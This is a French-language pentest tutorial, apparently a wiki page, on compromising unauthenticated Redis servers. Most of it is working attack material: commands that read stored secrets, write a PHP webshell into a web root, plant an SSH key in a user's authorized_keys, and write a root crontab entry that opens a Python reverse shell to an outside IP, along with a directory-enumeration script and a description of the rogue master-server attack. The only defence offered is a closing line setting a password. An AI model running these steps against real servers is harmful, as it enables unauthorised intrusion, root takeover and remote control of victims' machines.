Attaquer Redis

Redis est un système de gestion de base de données NoSQL fonctionnant sur le principe de clés. Pas de SQL du coup, sous Redis tout est stocké sous la forme:

clé : valeur

Un peu comme un dictionnaire en python.

L'installation d'un serveur redis est simple:

sudo apt install redis

Dans la foulé on installera aussi les outils permettant de requêter Redis dont la cli redis:

sudo apt install redis-tools

Redis est connu pour être très intéressant en phase de pentes. Ent effet suivant la configuration du service (si l'accès à la base est protégé par un mot de passe ou non) il est possible de lancer des attaques plutôt violentes qui nous permettront de compromettre le serveur dans sa globalité.

I/ Reconnaissance

Redis tourne sur le port 6379. La première chose à faire lorsque vous découvrez un service Redis ouvert c'est de vous y connectez via la cli redis:

redis-cli -h <remote_host>

Et exécuter la commande suivante:

INFO

Si vous n'êtes pas bloqué (i.e si aucun mot de passe ne vous ait demandé) alors nous pourrons interagir en toute liberté avec la base. A partir de là on tentera de récupérer un maximum d'informations d'abord via la commande INFO puis par d'autres commandes:

KEYS *

redis1.png

Ici on peut voir qu'il existe une clé nommée "secret_password". Pour récupérer son contenu on pourra se servir de la commande suivante:

get secret_password

redis2.png

Il sera aussi intéressant de lister les commandes disponibles:

COMMAND

En effet suivant les commandes mises à disposition nous pourrons lancer des exploits plus ou moins intéressants.

I/ Webshell dumping exploit

Comme nous l'avons vu il est assez simple d'ajouter de la donnée dans une base Redis non sécurisée. Là où ça devient intéressant c'est qu'il est aussi possible de dumper ce contenu dans des fichiers présents localement sur la machine. Suivant la configuration de la base il sera donc possible d'écrire un webshell avec lequel on pourra par la suite interagir via un serveur web. Pour cela il faudra utiliser les commandes suivantes:

bash redis_webshell_dumping.sh <remote_host_IP>
redis-cli -h $1 set webshell "<?php phpinfo(); ?>"
redis-cli -h $1 config set dir "/var/www/html/"
redis-cli -h $1 config set dbfilename "webshell.php"
redis-cli -h $1 flushall
redis-cli -h $1 save

Une fois la commande save entrée, la clé webshell (notre webshell PHP) sera dumpée dans le fichier webshell.php accessible depuis le répertoire /var/www/html.

II/ SSH authorized keys

Vu qu'il est possible d'écrire dans plus ou moins n'importe quel fichier, il peut être intéressant d'essayer d'ajouter notre clé publique SSHé dans le répertoire .ssh d'un utilisateur. On pourra ainsi se connecter via SSH en usurpant cet utilisateur. Pour cela il faudra tout d'abord énumérer les répertoires /home des utilisateurs dans lesquels nous avons les droits d'écriture. On pourra effectuer cette phase d'énumération à l'aide du script suivant:

#!/usr/bin/python3
 
import redis
import argparse
 
parser = argparse.ArgumentParser()
parser.add_argument("-p", help = "Path to bruteforce with {replace} where to replace username", dest = "path",    required="true")
parser.add_argument("-i", help = "Host IP", dest = "host", required="true")
parser.add_argument("-w", help = "Wordlist path", dest = "wordlist", required = "true")
args = parser.parse_args()


PATH_TEMPLATE = args.path
REDIS_HOST = args.host
REDIS_PORT = 6379
WORDLIST = args.wordlist

with open(WORDLIST, "r") as wl:
    usernames = wl.readlines()
    wl.close()

r = redis.StrictRedis(host=REDIS_HOST, port=REDIS_PORT, db=0)

i = 1.0
paths = []
for username in usernames:
    u = username.strip('\r\n')
    path = PATH_TEMPLATE.replace("{replace}", u)
    try:
        r.config_set("dir", path)
        paths.append(path)
        print("Found: {0}".format(path))
    except Exception:
        pass
    print("Progress: %2.3f%%     \r" % ((100*i)/len(usernames))),
    i += 1

Une fois le répertoire d'un utilisateur valide trouvé on pourra se créer une paire de clé SSH via la commande:

openssh-generate -t rsa

Il faudra ensuite formater notre clé publique de manière à ce qu'elle soit bien reçue par Redis:

echo -e '\n\n' >> blob.txt && cat id_rsa.pub >> blob.txt && echo -e '\n\n' >> key.txt

Puis on pourra écrire notre clé publique dans la base de données en utilisant ce script bash:

bash authorized_keys.sh <remote_host_IP>
redis-cli -h $1 slaveof no one
redis-cli -h $1 flushall
redis-cli -h $1 config set dir "/repertoire/home/.ssh/"
redis-cli -h $1 config set dbfilename "authorized_keys"
redis-cli -h $1 flushall
cat key.txt | redis-cli -h $1 -x set sshblob
redis-cli -h $1 save
ssh -l redis -i id_rsa $1

Il ne nous restera plus qu'à nous connecter via SSH en utilisant cette commande:

ssh -l user -i id_rsa <remote_host>

III/ Crontab exploit

De la même manière que pour les deux derniers paragraphes nous allons nous servir du fait que l'on peut écrire dans un fichier pour exécuter du code à distance cette fois via crontab:

bash crontab_redis_exploit.sh <remote_host_IP>
echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h <remote_host> -x set 1
redis-cli -h $1 config set dir /var/spool/cron/crontabs/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

Attention, si le serveur cible fonctionne sous Ubuntu ou CentOS il faudra modifier le répertoire:

/var/spool/cron/crontabs/

En:

/var/spool/cron/

IV/ Redis Rogue Server

Redis supporte l'architecture master/slave. Or comme nous pouvons modifier la configuration de la base Redis ciblée nous pouvons très facilement faire ne sorte que cette dernière soit la base slave de notre master. Encore une fois cette fonctionnalité semble inoffensive ou du moins très peu critique. En effet un attaquant qui monterait un Rogue serveur Redis pourrait modifier à distance le contenu de la base de données... Ce qu'il pourrait faire depuis le serveur Redis cible directement.

Ça c'était jusqu'à ce que la version 4.0 de Redis sorte avec l'ajout du support de module chargeable dynamiquement. En gros il va nous être possible de créer des modules custom que l'on pourra charger sur notre serveur rogue Redis. Ensuite il faudra modifier la conf du Redis cible de telle manière que ce dernier devienne notre slave. Nous n'aurons plus qu'à synchroniser les deux serveurs pour que le module custom soit chargé sur le serveur Redis cible:

Il sera ensuite possible d'exécuter des commandes système directement sur la base Redis ciblé. Plusieurs outils implémentent cette attaque de façon automatique dont celui-ci: redis-rogue-server.

V/ Protéger son serveur Redis

La manière la plus simple reste de protéger Redis via un mot de passe. Cela peut être fait de cette manière:

config set requirepass SuperComplicatedPassword4564+++

Revision #4
Created Mon, Nov 11, 2019 7:30 PM by Defte
Updated Sun, Nov 24, 2019 6:15 PM by Defte